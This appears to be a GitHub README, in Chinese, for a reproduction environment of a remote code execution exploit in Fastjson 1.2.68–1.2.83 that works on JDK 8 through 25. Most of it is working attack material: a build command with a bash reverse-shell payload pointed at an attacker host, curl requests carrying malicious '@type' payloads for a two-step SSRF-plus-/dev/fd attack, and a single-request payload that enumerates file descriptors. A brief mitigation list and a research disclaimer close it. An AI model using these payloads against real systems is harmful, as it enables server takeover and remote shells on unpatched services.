cuuemo/fastjson-1.2.83-rce-jdk8-jdk25
GitHub: cuuemo/fastjson-1.2.83-rce-jdk8-jdk25
Fastjson 1.2.68~1.2.83 远程代码执行漏洞的复现环境,通过 checkAutoType 的 @JSONType 资源加载路径结合 /dev/fd 绕过实现 JDK 8~25 全版本通杀。
Stars: 1 | Forks: 0
# Fastjson 1.2.83 RCE — JDK 8/17/25 全版本通杀
Fastjson 1.2.68 ~ 1.2.83 `checkAutoType` 中 `@JSONType` 注解探测路径远程代码执行漏洞复现环境。
**无需开启 autoType,无需 classpath 上有任何 gadget 类,默认配置即可触发。**
## 漏洞概述
| 项目 | 说明 |
|------|------|
| 影响版本 | Fastjson 1.2.68 ~ 1.2.83 |
| 利用条件 | Spring Boot FatJar 部署 + SafeMode 未启用(默认)|
| JDK 版本 | 8 / 11 / 17 / 21 / 25 均可(Linux/macOS)|
| 网络要求 | 目标需能访问攻击者 HTTP 服务(出网)|
### 操作系统差异
| OS | fd 路径 | JDK 8 | JDK 9+ |
|----|---------|-------|--------|
| Linux | `/proc/self/fd/N` | RCE | RCE |
| macOS | `/dev/fd/N` | RCE | RCE |
| Windows | 无等价路径 | RCE | 仅 SSRF |
## 漏洞原理
`ParserConfig#checkAutoType()` 中,Fastjson 把用户可控的 `@type` 值通过 `typeName.replace('.', '/') + ".class"` 转换为资源路径,交给 `ClassLoader.getResourceAsStream()` 查找。攻击者构造 `jar:http://` 格式的 `@type`,Spring Boot 的 `LaunchedURLClassLoader` 会通过 HTTP 远程下载恶意 JAR。
JDK 9+ 的 `defineClass` 拒绝含 `//` 的类名,因此无法直接通过 `jar:http://` 实现 RCE。绕过方式:先通过 SSRF 让 JVM 缓存 JAR 到本地文件描述符,再通过 `jar:file:/dev/fd/N` (单斜杠,无 `//`)从本地加载,绕过类名校验。
详细分析见 [fastjson-1.2.83-rce.md](fastjson-1.2.83-rce.md)。
## 快速复现
### 1. 构建
```
# 需要 JDK 17+ 和 Maven
bash build.sh
# 示例:macOS 弹计算器
bash build.sh 127.0.0.1 19090 "open -a Calculator" 17
# 示例:Linux 反弹 shell
bash build.sh VPS_IP 19090 "bash -i >& /dev/tcp/VPS_IP/4444 0>&1" 17
```
### 2. 启动靶场
```
java -jar target/fastjson-verify-1.0.0.jar
# 端口 38080
```
### 3. 两步攻击
```
# 启动 HTTP 托管
python3 -m http.server 19090 --directory poc/www
# Step 1: SSRF 缓存 JAR
curl -s -X POST http://TARGET:38080/api/data \
-H "Content-Type: application/json" \
-d '{"@type":"jar:http:..2130706433:19090.probe!.POC","x":1}'
# Step 2: /dev/fd 本地加载 → RCE
curl -s -X POST http://TARGET:38080/api/data \
-H "Content-Type: application/json" \
-d '{"@type":"jar:file:.dev.fd.17!.POC","x":1}'
```
### 4. 单次请求打法(JSON 数组)
生成包含多个 fd entry 的 probe:
```
# 编译 GenProbeV2
javac -cp "poc/lib/*" -d poc poc/GenProbeV2.java
# 生成 fd 10-25 的 probe
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" \
GenProbeV2 127.0.0.1 19090 "open -a Calculator" 10 25
```
一次请求完成 SSRF + fd 枚举 + RCE:
```
curl -s -X POST http://TARGET:38080/api/data \
-H "Content-Type: application/json" \
-d '[{"@type":"jar:http:..2130706433:19090.probe!.foo.Exception"},{"@type":"jar:file:.dev.fd.10!.fd10.Exception"},{"@type":"jar:file:.dev.fd.11!.fd11.Exception"},{"@type":"jar:file:.dev.fd.12!.fd12.Exception"},{"@type":"jar:file:.dev.fd.13!.fd13.Exception"},{"@type":"jar:file:.dev.fd.14!.fd14.Exception"},{"@type":"jar:file:.dev.fd.15!.fd15.Exception"},{"@type":"jar:file:.dev.fd.16!.fd16.Exception"},{"@type":"jar:file:.dev.fd.17!.fd17.Exception"},{"@type":"jar:file:.dev.fd.18!.fd18.Exception"},{"@type":"jar:file:.dev.fd.19!.fd19.Exception"},{"@type":"jar:file:.dev.fd.20!.fd20.Exception"},{"@type":"jar:file:.dev.fd.21!.fd21.Exception"},{"@type":"jar:file:.dev.fd.22!.fd22.Exception"},{"@type":"jar:file:.dev.fd.23!.fd23.Exception"},{"@type":"jar:file:.dev.fd.24!.fd24.Exception"},{"@type":"jar:file:.dev.fd.25!.fd25.Exception"}]'
```
命中的 fd 位置在返回的 JSON 数组中会变成空 `{}`。
## 实测结果
| 环境 | 结果 |
|------|------|
| JDK 17.0.14 + Spring Boot 2.7.18 + macOS arm64 | RCE ✅ |
| JDK 25.0.3 + Spring Boot 2.7.18 + macOS arm64 | RCE ✅ |
## 防护
1. **启用 SafeMode**:`-Dfastjson.parser.safeMode=true`
2. **迁移 Fastjson 2.x**
3. **出口网络管控**:阻止应用发起外部 HTTP 请求
4. **WAF 拦截 `@type`**:覆盖请求体和 URL 参数,注意编码绕过
## 项目结构
```
├── pom.xml # Spring Boot 2.7.18 + fastjson 1.2.83
├── build.sh # 一键构建
├── fastjson-1.2.83-rce.md # 详细漏洞分析笔记
├── src/main/java/com/test/
│ ├── App.java # Spring Boot 启动类
│ └── ApiController.java # POST /api/data → JSON.parse(body)
└── poc/
├── GenProbe.java # 恶意类生成器(两步链)
├── GenProbeV2.java # 恶意类生成器(JSON 数组单次请求)
└── exploit.py # 自动化利用脚本
```
## 声明
本项目仅用于安全研究和授权测试,请勿用于非法用途。
标签:CISA项目, Fastjson, GHAS, Java安全, JS文件枚举, PoC, RCE, 域名枚举, 暴力破解, 网络信息收集, 逆向工具